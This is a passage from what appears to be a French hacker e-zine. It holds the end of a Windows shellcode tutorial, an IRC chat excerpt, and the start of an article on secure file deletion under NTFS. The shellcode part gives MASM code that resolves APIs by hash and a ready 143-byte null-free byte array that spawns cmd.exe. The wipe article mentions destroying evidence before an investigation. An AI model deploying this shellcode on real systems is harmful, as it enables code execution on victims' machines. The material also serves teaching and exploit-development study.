Imagebase: 0x77e70000
Imagebase: 0x77f40000
Imagebase: 0x77e00000
Imagebase: 0x0


Donc en couplant ce code avec celui qui scanne la table des exportations on peut
trouver n'importe quelle fonction du moment quelle soit dans un des modules en
memoire.


Maintenant qu'on a l'ImageBase on va devoir scanner l'export table.

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

Les tableaux de noms de fonctions et d'ordinals sont alignés (comme dans la
table de imports) donc on realise la meme operation que precedemment.
On recupere le nombre de fonctions exportees avec NumberOfNames 
(ouais tte les fonctions exportees non pas forcement un nom :s)
puis on scanne jusqu'a trouvé la fonction. On va ds le tableau des ordinals, on
choppe l'ordinal puis goto tableau des addr a l'indice ordinal pour l'addr de la fonc.

Allay le code est la:

------------CUT HERE--------------------
.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
assume fs:nothing

FindExport PROTO :DWORD,:DWORD
_ExitProcess equ 073e2d87eh

.data
format db "Addr: 0x%x ",10,0

.data?
buffer db 100 dup(?) 
.code
start:

	invoke FindExport,77e70000h,_ExitProcess ;ImageBase Kernel32.dll

	invoke wsprintf,addr buffer,addr format,eax
	invoke StdOut ,addr buffer

	invoke ExitProcess,0
FindExport PROC _ImageBase:DWORD, ApiHash:DWORD

	mov ebp,_ImageBase ;ebp=imagebase
	mov ebx,dword ptr [ebp+3Ch] ;'MZ'+ 0x3c = e_lfanew (offset 'PE', 0x4550)
	mov ecx,dword ptr [ebp+ebx+78h] ;PE'+0x78 = début IMAGE_DIRECTORY_ENTRY_EXPORT * 'PE'+0x78 = VirtualAddress
		
	mov ebx,dword ptr [ebp+ecx+20h] ;rva Name
	add ebx,ebp
	mov edx,ecx
	add edx,ebp
	mov ecx,dword ptr [ebp+ecx+18h] ;NumberOfNames
	dec ecx

	find_function:
			
	mov esi,dword ptr [ebx+ecx*4] ;esi RVA Addr name
	xor edi, edi
	xor eax, eax 
	add esi,ebp ;VA name
	test ecx,ecx ;si ya pu
	je fin
	dec ecx ;previous
		
	cld
	hash:
	lodsb ; LODSB Load byte at address DS:(E)SI into AL
	test al, al ;fin du nom ?
	jz finished
	ror edi, 0dh
	add edi, eax
	jmp hash
	finished:
	cmp edi,dword ptr [esp+0Ch] ;ApiHash
	jne find_function
	inc ecx
	mov ebx,dword ptr [edx+24h];rva AdressOfNameOrdinals
	add ebx,ebp ;VA AddressOfNameOrdinals
	mov cx,word ptr [ebx+ecx*2] ;Ordinal de la fonction
	mov eax,dword ptr [edx+1Ch]; RVA Addr
	add eax,ebp ;VA addr
	mov eax,dword ptr [eax+ecx*4]
	add eax,ebp
	
	fin:
	pop ebp
	retn
	
FindExport EndP	
end start 	
------------CUT HERE--------------------

Ce qui nous sort:
Addr: 0x77e969be
Magnifique on a l'addr de ExitProcess dans la memoire :)


IV)The Shellcode!
-------------------

Maintenant qu'on est capable de trouver n'importe quelle fonction on a 
plus qu'a ecrire le shellcode.

On va faire un shellcode qui lance un cmd.exe, on va ainsi utliser l'api CreateProcess 
de kernel32.dll. Il faut savoir que kernel32.dll est tjrs charge en second ds la memoire
donc avec InInitializationOrderModuleList il suffit de prendre le second element :)
apres on scanne la table des exports puis on repere notre fonction et on balance le tout.

------------CUT HERE--------------------
.486
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
assume fs:nothing

_CreateProcessA equ 016b3fe72h

.code 

start:
	push 30h
	pop ebx
	mov eax,fs:[ebx]		;Sur le PEB
	mov ebx,[eax+0Ch]		;PEB->LoaderData
	mov eax,dword ptr [ebx+01Ch];LoaderData->InitializationOrderModule.Flink
	mov ebx,dword ptr [eax] ;Next Flink
	mov ebp,dword ptr [ebx+8h] ;ImageBase Kernel32
	
	mov ebx,dword ptr [ebp+3Ch] ;'MZ'+ 0x3c = e_lfanew (offset 'PE', 0x4550)
	mov ecx,dword ptr [ebp+ebx+78h] ;PE'+0x78 = début IMAGE_DIRECTORY_ENTRY_EXPORT * 'PE'+0x78 = VirtualAddress
		
	mov ebx,dword ptr [ebp+ecx+20h] ;rva Name
	add ebx,ebp
	mov edx,ecx
	add edx,ebp
	mov ecx,dword ptr [ebp+ecx+18h] ;NumberOfNames
	dec ecx
	find_function:
			
	mov esi,dword ptr [ebx+ecx*4] ;esi RVA Addr name
	xor edi, edi
	xor eax, eax 
	add esi,ebp ;VA name
	dec ecx ;previous	
	cld
	hash:
	lodsb ; LODSB Load byte at address DS:(E)SI into AL
	test al, al ;fin du nom ?
	jz finished
	ror edi, 0dh
	add edi, eax
	jmp hash
	finished:
	cmp edi,_CreateProcessA ;ApiHash
	jne find_function
	inc ecx
	mov ebx,dword ptr [edx+24h];rva AdressOfNameOrdinals
	add ebx,ebp ;VA AddressOfNameOrdinals
	mov cx,word ptr [ebx+ecx*2] ;Ordinal de la fonction
	mov eax,dword ptr [edx+1Ch]; RVA Addr
	add eax,ebp ;VA addr
	mov ebx,dword ptr [eax+ecx*4]
	add ebx,ebp
	
	;STARTUPINFO: 68 bytes
	;PROCESS_INFORMATION: 16 bytes
	sub esp,48h ;reserve la stack
	xor eax,eax
	mov cl,12h	
	mov edi,esp
	rep stos dword ptr [edi] ;met 18 "couches" a 0
	mov ebp,esp
	mov byte ptr [esp],44h;STARTUPINFO.cb=44
	lea eax,dword ptr [esp+4h] ;esp+44 
	mov dword ptr [esp+44h]," dmc" ;balance a la 17 eme "cmd "
	lea edx,dword ptr [esp+44h]
	
	;***************************************
	;|		       	stack viewer			       |			
	;***************************************
	;0012FF7C   00000044
	;0012FF80   00000000 la strucure PROCESS_INFORMATION commence ici 
	;0012FF84   00000000 mais on met tout a 0 
	;0012FF88   00000000
	;0012FF8C   00000000
	;0012FF90   00000000
	;0012FF94   00000000  tout ca c'est pour STARTUPINFO
	;0012FF98   00000000
	;0012FF9C   00000000
	;0012FFA0   00000000
	;0012FFA4   00000000
	;0012FFA8   00000000
	;0012FFAC   00000000
	;0012FFB0   00000000
	;0012FFB4   00000000
	;0012FFB8   00000000
	;0012FFBC   00000000
	;0012FFC0   20646D63 "cmd "
	;0012FFC4   77E98989  RETURN to kernel32.77E98989

	xor ecx,ecx
	push eax
	push ebp
	push ecx
	push ecx
	push ecx
	inc ecx
	push ecx
	dec ecx
	push ecx
	push ecx
	push edx
	push ecx
	call ebx                    ; kernel32.createprocessa
	add esp,48h
	retn

Invoke ExitProcess,0
	
end start 
------------CUT HERE--------------------

ce qui donne un shellcode de 143 bytes sans null byte evidemment ;)

char code[] = {
0x6A, 0x30, 0x5B, 0x64, 0x8B, 0x03, 0x8B, 0x58, 0x0C, 0x8B, 0x43, 0x1C, 0x8B, 0x18, 0x8B, 0x6B, 
0x08, 0x8B, 0x5D, 0x3C, 0x8B, 0x4C, 0x2B, 0x78, 0x8B, 0x5C, 0x29, 0x20, 0x03, 0xDD, 0x8B, 0xD1, 
0x03, 0xD5, 0x8B, 0x4C, 0x29, 0x18, 0x49, 0x8B, 0x34, 0x8B, 0x33, 0xFF, 0x33, 0xC0, 0x03, 0xF5, 
0x49, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x07, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0xEB, 0xF4, 0x81, 0xFF, 
0x72, 0xFE, 0xB3, 0x16, 0x75, 0xE1, 0x41, 0x8B, 0x5A, 0x24, 0x03, 0xDD, 0x66, 0x8B, 0x0C, 0x4B, 
0x8B, 0x42, 0x1C, 0x03, 0xC5, 0x8B, 0x1C, 0x88, 0x03, 0xDD, 0x83, 0xEC, 0x48, 0x33, 0xC0, 0xB1, 
0x12, 0x8B, 0xFC, 0xF3, 0xAB, 0x8B, 0xEC, 0xC6, 0x04, 0x24, 0x44, 0x8D, 0x44, 0x24, 0x04, 0xC7, 
0x44, 0x24, 0x44, 0x63, 0x6D, 0x64, 0x20, 0x8D, 0x54, 0x24, 0x44, 0x33, 0xC9, 0x50, 0x55, 0x51, 
0x51, 0x51, 0x41, 0x51, 0x49, 0x51, 0x51, 0x52, 0x51, 0xFF, 0xD3, 0x83, 0xC4, 0x48, 0xC3, 
};

A tester avec inject.exe par exemple
On doit pouvoir certainement optimiser cela mais je vous laisse le soin de le faire ;)


V) Conclusion
---------------

Voila mon petit periple ds les shellcodes generiques s'acheve j'espere que cela vous a plus
sachez que j'ai avant tout ecrit ce paper pour moi, ne le prennez pas mal, mais ca ma permi 
de mettre mes connaissances en pratique et en meme tps de faire profiter un maximum de monde.
J'espere que je vous aie aussi donner cette envie de progresser dans le monde de la prog/hack
et que bientot MindKind sera submerge de papers venu de partout (doux reve ....)
Allay ciao 


Vous trouverez tout les code et les executables sur mon site dans le dossier Mindkind.

EMail:ivanlef0u119@yahoo.fr
WebSite: http://membres.lycos.fr/moi118118

References
----------
[TEB_PEB] http://undocumented.ntinternals.net/
[PE] http://www.lookinginside.net/ et http://win32assembly.online.fr/tutorials.html
[RING3] http://membres.lycos.fr/rix/me/texts/
[NEITSA] http://neitsabes.online.fr/RE/HIRE/AddressConversion.htm
[LORDPE] http://mitglied.lycos.de/yoda2k/LordPE/info.htm
[Prack] http://www.phrack.org/phrack/62/p62-0x07_Advances_in_Windows_Shellcode.txt
[MASM32] http://www.masm32.com/
[WIN_MEM] http://www.relsoft.net/part1.html
http://www.milw0rm.com/shell.php?platform=win32
http://metasploit.com/



     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |       by IvanLeFou |
           			                  '--------------------'




      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                       no comments 				 .  '
        									         |  |
            <neda> notice Schatzy-FX non ca fait pas mal, ca fait juste trop du bien     :  |
            apparament haha                                                              |  |
       	    <neda> ooap ifgu                                                             |  |
            <neda> uigfopsaspio                                                          |  |
            <Schatzy-FX> ahhaha                                                          |  :
            <neda> esti                                                                  |  |
            <Dreamwalka> lollllll                                                        |  |
            <Schatzy-FX> MOUAHAHAHAA HAHAH                                               |  |
            <[Dawn]> wtf                                                                 |  |
            <neda> /clear                                                                |  |
            <neda> /clear                                                                |  |
            <[Dawn]> lolllllllllllllllllllllllll                                         |  |
            <neda> /clear                                                                |  |
            <neda> /clear                                                                |  |
            <neda> /clear                                                                |  |
            <neda> /clear                                                                |  |
            <neda> ahaha                                                                 |  |
            * Schatzy-FX pisse dans ses culottes                                         |  |
            <phawnky> vous parler de sex avec des mamouthes?                             |  |
            <neda> ahahahaha                                                             |  |
            <neda> putain                                                                |  |
            <Dreamwalka> y parle de sexe anal                                            |  |
            <Schatzy-FX> ahahahah                                                        |  |
            <neda> non                                                                   |  |
            <Schatzy-FX> mouaaaaaaaaaaaaaaaaahhhhhhhhhhhhhhhh                            |  |
            <neda> mais obn                                                              |  |
            <neda> ahhahhja                                                              |  |
            <neda> esti                                                                  |  |
            <[Dawn]> ayoyeyeee                                                           |  |
            <phawnky> Dreamwalka: mouaip, probablement.                                  |  |
            <[Dawn]> LOL -ye                                                             |  |
            <Schatzy-FX> ouch                                                            |  |
            <Wyzeman> haha                                                               |  |
            <Schatzy-FX> j'ai mal au ventre :/                                           |  |
            <Wyzeman> trop laf                                                           |  |
            <Schatzy-FX> fait pu ca neda                                                 |  |
            <neda> ahahahah                                                              |  |
            <Schatzy-FX> j'vais mourrir                                                  |  |
            <neda> esti                                                                 /   '
 	    <[Dawn]> pleure                                                            /   / B
	    <neda> je vais te pv                                                      /   / U   
  	    <[Dawn]> LOLLLLLLL                                                       /   , P   
            <neda> la prochaine fois                                                /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											  


		       



     	    .-- -- ---- ----.
     	 ___|  MKD1001\006  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                                                                  '---'
                                                      
                                      SDEL - Secure Delete
   
  	                                      AKA

	           la corbeille n'est pas plus trustable qu'un vendeur de char
                                      



Résumé


Dans   ce  texte  je  vais  vous  expliquer  brièvement  pourquoi     on    pourrait     avoir
recours à la suppression sécuritaire. Je vais aussi vous parler d'un des standards   les  plus 
connuent pour la suppression de données de façon sécuritaire et je vous présente un exemple de 
programme qui permet de le faire.

Tables des matières
    1. Introduction
    2. Pourquoi
    3. Quelques standard
    4. Windows NT/2000/XP
        4.1 NTFS
            4.1.1 À propos
            4.1.2 MFT
            4.1.3 Fichier et répertoire
            4.1.4 Plus d'info
        4.2 Exemple de code
    5. Conclusion

1. Introduction

    Toute personne, au moins une fois dans sa vie, à malencontreusement  effacé ou supprimé un
    ou des fichiers qu'il considérait comme important. C'est pourquoi plusieurs utilitaires de 
    récupération de fichiers ont été développés. Prenons MS-DOS   en   exemple,    un  système 
    d'exploitation  16  bits  datant  du  début  des années 1980. Ce système d'exploitation, à 
    partir de la version 5.0 (1991), fournis le  programme/command  'undelete'    qui   permet   
    de récupérer des fichiers qui ont été supprimeés. Dans la même ligné, le programme/command 
    'unformat' restaure un disque effacé par la commande 'format' ou    restructuré    par  la 
    commande 'recover'. Le système d'exploitation Linux possède lui aussi plusieur application 
    pour récupérer des fichiers  effacés. La raison pour laquel un fichier  supprimé  sur   un 
    système peut être  récupéré est fort simple, le système de fichier n'enlève pas le fichier
    du disque, mais dit simplement que l'espace qu'il utilise est désormait libre. Vous pouvez 
    faire un teste rapide qui tend à prouver ceci. Copier un fichier de quelques centaines  de
    méga-octects, ne le déplacer pas puisque le fichier n'est pas physiquement déplacé dans la
    pluspart des cas, et prenez note du temps pris pour cette opération. Maintenant, supprimer
    le fichier en  appuyant sur 'shift+del' sous windows ou taper simplement 'rm' sous  Linux.
    Vous  constaterai  que  le  temps  pris  pour  cette opération est de loin plus rapide. Le 
    fichier   est donc toujouts physiquement sur le disque, ce n'est simplement que le système 
    de fichier qui le considère effacé. Il est donc possible avec un utilitaire spécifique, de  
    récupérer des données effacées sur un disque.

2. Pourquoi

    Il y a plusieur raisons de vouloir supprimer de façon  sécuritaire   un   fichier.  Pensez
    simplement à une entreprise qui vend ses vieux disques parce qu'elle   à mise à jour, avec 
    des disques de plus grande capacité,    certains de ses ordinateurs et que ces ordinateurs 
    sont suceptible de  contenir des données confidentiels. Cette entreprise à tout  intérêt à
    effacer ses disques d'une manière sécuritaire afin que ces informations  confidentiels  ne
    se retrouve pas dans de mauvaise mains. Un meilleur exemple    encore, un   misnistère  du 
    gourvernement qui se débarasse de vieux systèmes ou  pièces. Il  serait   très  regrétable
    que des données d'un ordinateur du  ministère du revenue soient récupérés   puisqu'il  est 
    suceptible de contenir les informations personnel de plusieurs personne dont  le   NAS, le 
    revenu  annuel, etc. Nous pouvons acheter du matériel    au  surplus  du  gourvenement  et
    je ne serais pas suppris que  la suppression   sécuritaire des données ne soit     pas  un
    standard dans notre gouvernement  ou  du   moins,  si   elle est, que cette directive soit 
    appliqué à la lettre. Et puis, pour tous les hacker, phreaker, etc. de ce monde,   qui ont
    entreposé de façon temporaire des données qui sont suceptible d'être utilisés  contre  eux 
    lors d'une quelconque investigation, il est très pratique, et plus reposant, de  se savoir
    un peu plus en sécurité suite à la suppression sécuritaire des ces données
    comprométante.

3. Quelques standards

    Plusieur standard existe pour supprimer de façon sécuritaire les données d'un  disque.  Le 
    plus connu serait sans doute  celui   du  'National Industrial Security Program: Operating 
    Manual' du Département de la Défense Américaine,  communément  applé  le DoD  5220.22-M ou
    NISPOM. Au Chapitre 8, Section 3, 8-306, Partie E. on stipule qu'un disque magnétique doit 
    avoir "tous ses locations adressable réécrite avec   un   caratère,   son  complément   et 
    finalement un caratère aléatoire". Un autre standard connu est celui    de  Gutmann    qui
    explique que un disque doit être réécrit 35 fois suivant   des  patherns   aléatoires   et 
    prédéfinies.  La  RCMP  (Royal  Candian  Mounted  Police)  à  aussi  un  standard  pour la 
    suppression  sécuritaire  mais à première vu, il semble être   basé majoritairement sur le 
    stadard du DoD  mais  il  parle  aussi  de  Gutmann,  alors il utilise   peut-être   aussi   
    certaine deses recommendations. Nous  allons nous concentré sur le standard du Département 
    de   la Défense Américaine pour cette article.
    
    Il est clairement indiqué, dans le NISPOM, que la méthode décrite plus haut n'est en aucun 
    cas valide pour des documents classés 'TOP SECRET'. Dans ce  cas présent, nous devons nous 
    référer à la Partie M du standard qui explique que le média doit être détruie en utilisant 
    une des technique suivante:  désintégration, incinération, pulvérisation, déchiquetage  ou 
    fonte. Oui, on peut appler ça de la paranoïa. Donc, il n'est pas nécessaire  de  dire  que
    le code présenté plus bas dans cette article n'est pas applicable au document  classé  TOP
    SECRET mais ça, je crois que vous l'aviez deviné.

4. Windows NT/2000/XP

    Moi  choix  c'est  arrêté sur la platforme Windows NT/2000/XP parce que c'est propablement 
    une des plus utilisés, parce que mon portable à Windows XP d'installé dessus, parce   qu'à  
    mon avis c'était la plateforme où il serait le plus facile de développer SDEL et parce que 
    (ma réponse universel et incontestable). Voilà! Maintenant, j'ai focusé exclusivement  sur   
    le nouveau système de fichier que la technologie NT a amené, je parle ici de NTFS.
    
    4.1 NTFS
    
        4.1.1 À propos

            Abréviation de 'New Technology Filesystem'. Ce système de fichier  à  vu  le  jour 
            avec  Windows NT 3.1,  et  n'a  pas cessé d'évoluer  depuis.  NTFS  est  nettement 
            supérieur  à  son  prédécesseur, FAT (File Allocation Table). Il est plus robuste, 
            support  les  nom  de  fichiers  Unicode,  support  la compression et l'encryption 
            'built-in' etapporte la notion de droit d'accès. Son seul désavantage majeur c'est 
            qu'il n'est pas accessible via des disquettes d'armorcage DOS. Contrairement  à ce  
            que  plusieur  pense,  les  différentes version de Windows, partant de NT à XP, on 
            chacun une version différente du système NTFS.   Le   système fonctionne à la base 
            de  la  même  manière,  mais  chaque  nouvelle  version  apporte  des   'features' 
            supplémentaire. Par exemple, la  première  version  de  NTFS  (Windows NT 3.51) ne  
            comprenait     aucun   support  pour  défragmenter  un  disque  dure. Windows 2000 
            supporte maintenant les quota.  Ce n'est que deux exemples, mais démontre bien que 
            chaque version de    Windows comprend une  version  bien  différente  du   nouveau 
            système  de  fichier    de   Microsoft.   NTFS  support  des  fichiers  de  taille 
            considérable, jusqu'à 2^63 octects.   Les   volumes  peuvent contenir jusqu'à 2^63 
            'clusters' et chaque    'clusters' peuvent être jusqu'à 64ko. Ce  qui donne à NTFS 
            une limite   d'environ    500 trillion de gigaoctets,  plus que suffisant pour les    
            100  prochaines  années  peu  importe  la  vitesse  de  développement    dans  les 
            technologies de l'information.

            NTFS est construit comme une base de données, les données sont organisées  suivant
            un arbre B+ (une sorte d'arbre binaire qui conserve plusieurs entrés  dans  chaque 
            noeud de l'arbre) et chaques  modifications implique plusieurs changement à divers
            endroits. Chaque opération est traité comme une transaction, et si une transaction 
            échoue, le système essaie de son mieu de remettre le système dans l'état  où    il
            était avant le début de la transaction, une sorte de 'roll-back'   comme  on  peut
            le retrouver dans plusieurs base de données.

        4.1.2 MFT (Master File Table)

            Lorsqu'un volume est formaté pour NTFS,  un fichier   MFT    et   quelques  autres 
            métafichiers sont créés. Les métafichiers sont     des   fichiers   utilisés  pour
            implémenter  la  structure  du  système  de  fichier.  C'est   métafichiers   sont 
            enmagasinés dans une zone, la MFT area,  qui  est  réservé  sur  le volume et dans    
            laquelle  les métafichiers grossissent. Il est strictement impossible d'écrire des 
            données   dans cette zone. Les 16 premiers enregistrement du MFT sont réservé pour  
            localisé les autres métafichiers. Le premier enregistrement dans la MFT est la MFT  
            ($MTR) elle-même,  le second est une copie mirror des 4  premiers  enregistrements  
            du MFT ($MTRMirr). On retrouve aussi dans la MFT la  position du 'boot sector'. Et   
            le 'boot sector' contien la position du $MTR et du $MTRMirr. Une   copie  du 'boot
            sector' se retrouve aussi à la fin du volume. La zone MFT (MFT area) est un buffer
            maintenu   par Windows pour empêcher la MFT de se fragmenter  et    lui  permettre
            de grandir. Ceci permet aussi d'obtenir  un    meilleur   rendement   au niveau de 
            l'indexation des fichers et la rapidité  d'y accèder. La MFT alloue un espace pour
            chaque enregistrement de fichier. Les attribues du fichier  sont   inscrite   dans
            l'espace alloué dans la MFT.  Les petits fichiers  et  répertoires   (généralement 
            1500 octects ou  moins) peuvent être entirement contenu dans  un   enregistrement.
            Autrement, l'enregistrement pointer vers les unitées d'allocation  (clusters)  qui
            contiendrons les informations qui n'ont pas pu être inscritent dans la   structure
            de la MFT. Lors de l'ajout d'un fichier ou répertoire, la MFT est  automatiquement
            ajusté lorsqu'elle atteind sa limite en allouant un nouveau buffer  pour  la  zone
            MFT. L'espace  alloué est calculé en tenant compte de la  taille   moyenne    d'un
            fichier sur le volume, et la quantité de fichier de cette  taille qui peuvent être
            enregistré sur le volume. Par contre, si un fichier est supprimé,  l'espace  qu'il
            occupe dans la MFT n'est pas désalloué mais    simplement marqué comme libre  pour
            utilisation par la MFT seulement. Cette espace n'est donc toujours pas  disponible
            comme espace libre sur le volume. Cette espace ne sera pas    rendu  disponible  à
            moins que  toute l'espace libre du volume soit   complètement   consumé. À  chaque
            fois que le volume est saturé, la zone MFT est réduite.

        4.1.3 Fichier et réperoire
        
            Tout est un fichier dans NTFS, comme pour la totalité des système *nix.  Le système 
            de fichier NTFS voit chaque fichier (ou répertoire)  comme un ensemble d'attribues.
            Les éléments tel que le nom du fichier, ses informations de sécurités, et même  son
            contenu, sont  tous des attribues. Ils sont tous identifiés par un   code  pour  le
            type d'attribue et, falcultativement, d'un nom d'attribue. Comme   mentioné    plus 
            haut, si les attribues d'un fichier peuvent être  entièrement contenuent dans  dans
            un seul enregistrement de la MFT, ils sont donc appelés attribues   résidant.   Par
            exemple, les  informations comme le nom du fichier et son timestamp  sont  toujours
            contenues dans un enregistrement. Quand toutes les informations d'un   fichier sont
            trop imposante pour être contenu dans  un   enregistrement,  quelques   un  de  ses
            attribues sont non résidant. Les  informations non résidante sont contenu  dans  un 
            ou plusieurs     'clusters' en quelque part sur le volume. NTFS créé la  l'attribue
            liste d'attribues (Attribute List) pour spécifier la position sur le
            volume de tous les attribues.
        

        4.1.4 Plus d'info

            Si vous voulez plus de détail sur certains 'features' de NTFS,
            visité le lien suivant:

               http://msdn.microsoft.com/library/default.asp?url=/library/en-us/
               fileio/fs/ntfs_file_system.asp
               
            Un bon site qui explique assez bien le fonctionnement du système de
            fichier:

               http://ntfs.com/
               
            Et bien sur, la superbe documentation en ligne de MSDN:

               http://msdn.microsoft.com/library/

    4.2 Exemple de code

        Voici un bout de code qui permet de supprimer de façon sécuritaire un   fichier sur un
        disque  format  en  NTFS.  Il est possible que ce code marche aussi pour Windows 9x/ME 
        mais  je  ne  l'ai jamais testé. À vrai dire, je l'ai seulement testé sous Windows XP, 
        donc il se peut, mais il est peut probable, que ce code ne fonctionne pas sous Windows 
        NT/2000 ou sous Windows Server 2003.
        
        Je vais tenter le plus possible de décrire les opérations effectuées et aussi expliqué
        le  pourquoi  de  ces  opérations. Vous noterai que ce code est relativement simple et 
        qu'il n'assure  PAS  complètement que les données ont été totalement supprimé de façon 
        sécuritaire. Je vous expliquerai en détails pourquoi un peu plus tard.
        
        /*------------------CODE START HERE-----------------------------------*/

        // Ne réduit pas la taille de l'application, mais réduit légèrement
        // le temps de compilation
        #define WIN32_LEAN_AND_MEAN

        #include <windows.h>  // APIs, Structure, Code d'erreur, etc.
        #include <tchar.h>    // Generic-Text Mapping.
                              // Permet que le programme soit compiler sous un
                              // environnement Unicode ou non en mappant des
                              // prototype de fonction vers la bonne fonction.
                              // Ex.: _tcslen() est mappé à ...
                              //      Si _UNICODE -> wcslen()
                              //      Si _MBCS    -> _mbslen()
                              //      Sinon       -> strlen()
        #include <cstdio>
        #include <cstdlib>
        #include <time.h>

        #define SDEL_OVERWRITEBUFFER 65535 // nombre d'octect à écrire pour
                                           // chaque opération d'écriture.

        /* FileOverwrite
         *
         * cette fonction tente d'écrire le nombre de bytes spécifié en
         * paramètre dans un fichier spécifié lui aussi en paramètre.
         *
         * retourne faux si l'opération échoue, sinon retourne vrai
         */
        bool FileOverwrite(HANDLE hFile, DWORD dwBytesToWrites,
                                                       LPDWORD lpdwBytesWritten)
        {
            PBYTE pbOverwriteBuffer[3]; // contiendra les données générées qui
                                        // seront utilisé pour réécrire le
                                        //fichier à supprimer.
            int i,j;
            DWORD dwToWrite, dwTotalWritten;

            // on seed le générateur de nombre alléatoire
            srand((unsigned int)time(NULL));

            // le standard du DOD nous dit que l'on doit faire trois passage
            // pour chaque location adressable.
            //
            // 1er: un caractère quelconque (nous prendrons 0x00)
            // 2ie: son complément (donc 0xFF)
            // 3ie: un caratère alléatoire
            //
            for(i=0; i<3; i++)
            {
                // alloue l'espace nécessaire
                pbOverwriteBuffer[i] = new BYTE[SDEL_OVERWRITEBUFFER];
                // si l'opération à échoué, nous supprimons tout l'espace alloué
                // et nous quittons la fonction
                if (!pbOverwriteBuffer[i])
                {
                    for (j=0; j<i; j++)
                        delete pbOverwriteBuffer[j];
                    _tprintf(_T("Faild to allocate memory space for overwrite" \
                                                                  " buffer\n"));
                    return false;
                }

                // on rempli de buffer ...
                switch (i)
                {
                    // avec des zero
                    case 0:
                        memset(pbOverwriteBuffer[i],0x00,SDEL_OVERWRITEBUFFER);
                        break;
                    // avec le complement de zero, 0xFF
                    case 1:
                        memset(pbOverwriteBuffer[i],0xFF,SDEL_OVERWRITEBUFFER);
                        break;
                    // avec des caractères alléatoires
                    case 2:
                        for (j=0; j<SDEL_OVERWRITEBUFFER; j++)
                            pbOverwriteBuffer[i][j] = (BYTE) rand();
                        break;
                }
            }

            // maintenant on réécrit par dessus le fichier
            for (i=0; i<3; i++) {

                //initialise les données à chaque passage
                (*lpdwBytesWritten) = 0;
                dwTotalWritten = 0;
                dwToWrite = 0;

                // on repositionne le pointer à la position initial avant
                // l'opération d'écriture si nous somme dans le deuxième ou
                // troisième passage
                if (i > 0)
                    SetFilePointer(hFile,(LONG)-dwBytesToWrites,NULL,
                                                                  FILE_CURRENT);
                // on boucle jusqu'a ce que toutes les données soient écrites
                while ((*lpdwBytesWritten) < dwBytesToWrites)
                {
                    // combien de bytes il nous reste à écrire
                    dwToWrite = dwBytesToWrites - (*lpdwBytesWritten);
                    // pas d'overflow svp
                    if (dwToWrite > SDEL_OVERWRITEBUFFER)
                        dwToWrite = SDEL_OVERWRITEBUFFER;
                    // et on écrit dans le fichier
                    if (!WriteFile(hFile,pbOverwriteBuffer[i],dwToWrite,
                                                          &dwTotalWritten,NULL))
                    {
                        _tprintf(_T("WriteFile faild with error: %lu\n"),
                                                                GetLastError());
                        return false;
                    }
                    // augmente le nombre de bytes écrit
                    (*lpdwBytesWritten) += dwTotalWritten;
                }
            }

            // on libère l'espace alloué
            for (i=0; i<3; i++)
                delete pbOverwriteBuffer[i];

            // superbe, tout c'est bien passé
            return true;
        }

        /* FilenameOverwrite
         *
         * Puisque les information d'un fichier, tel son nom, sont enregistré
         * dans la MFT, et n'est jamais supprimé à moins que l'espace qu'elles
         * occupent dans la MFT ne soit utilisé par les informations d'un autre
         * fichier. Si nous voulons effacer les traces d'un fichier, nous devons
         * aussi faire disparaitre son nom de la MFT. Il faut donc renommer le
         * fichier.
         */
        bool FilenameOverwrite(PTCHAR ptcOrgFilename, PTCHAR ptcCurFilename)
        {
            PTCHAR ptcNewFilename;
            PTCHAR ptcLastBSlash;
            DWORD  dwIndex;
            int i;
            unsigned int j;

            // le nom original du fichier devien de nom courant
            _tcscpy(ptcCurFilename, ptcOrgFilename);

            // puisque ptcOrgFilename peut contenir le chemin d'accès, nous
            // recherchons le dernier slash.
            ptcLastBSlash = _tcsrchr(ptcOrgFilename, _T('\\'));

            // maintenant trouvons où commence le nom de fichier
            dwIndex = (ptcLastBSlash - ptcOrgFilename) / sizeof(TCHAR);

            // allouons de l'espace mémoire pour le nouveau nom de fichier
            ptcNewFilename = new TCHAR[_tcslen(ptcOrgFilename)];
            if (!ptcNewFilename)
            {
                _tprintf(_T("Faild to allocate memory space for new " \
                                                                 "filename\n"));
                return false;
            }

            // copie le chemin d'accès et le nom de fichier
            _tcscpy(ptcNewFilename, ptcOrgFilename);

            // on seed le générateur de nombres alléatoire
            srand((unsigned int)time(NULL));

            // nous n'utiliserons pas les même caractères que pour la réécriture
            // du fichier puisque qu'une chaine de caractères se termine par un
            // '\0', ce qui nous amènerait à renommer le fichier avec une chaine
            // vide. Donc la fonction MoveFile va échoué. De plus, certains
            // caractères sont prohibés pour un nom de fichier, nous devons
            // donc, lors de la génération aléatoire, limité la plage à un
            // ensemble de caractères valides.
            for (i=0; i<3; i++)
            {
                for (j=dwIndex+1; j<_tcslen(ptcOrgFilename); j++) {
                    if (ptcNewFilename[j] != _T('.'))
                    {
                        switch (i)
                        {
                            case 0:
                                ptcNewFilename[j] = (TCHAR) _T('A');
                                break;
                            case 1:
                                ptcNewFilename[j] = (TCHAR) ~_T('A');
                                break;
                            case 2:
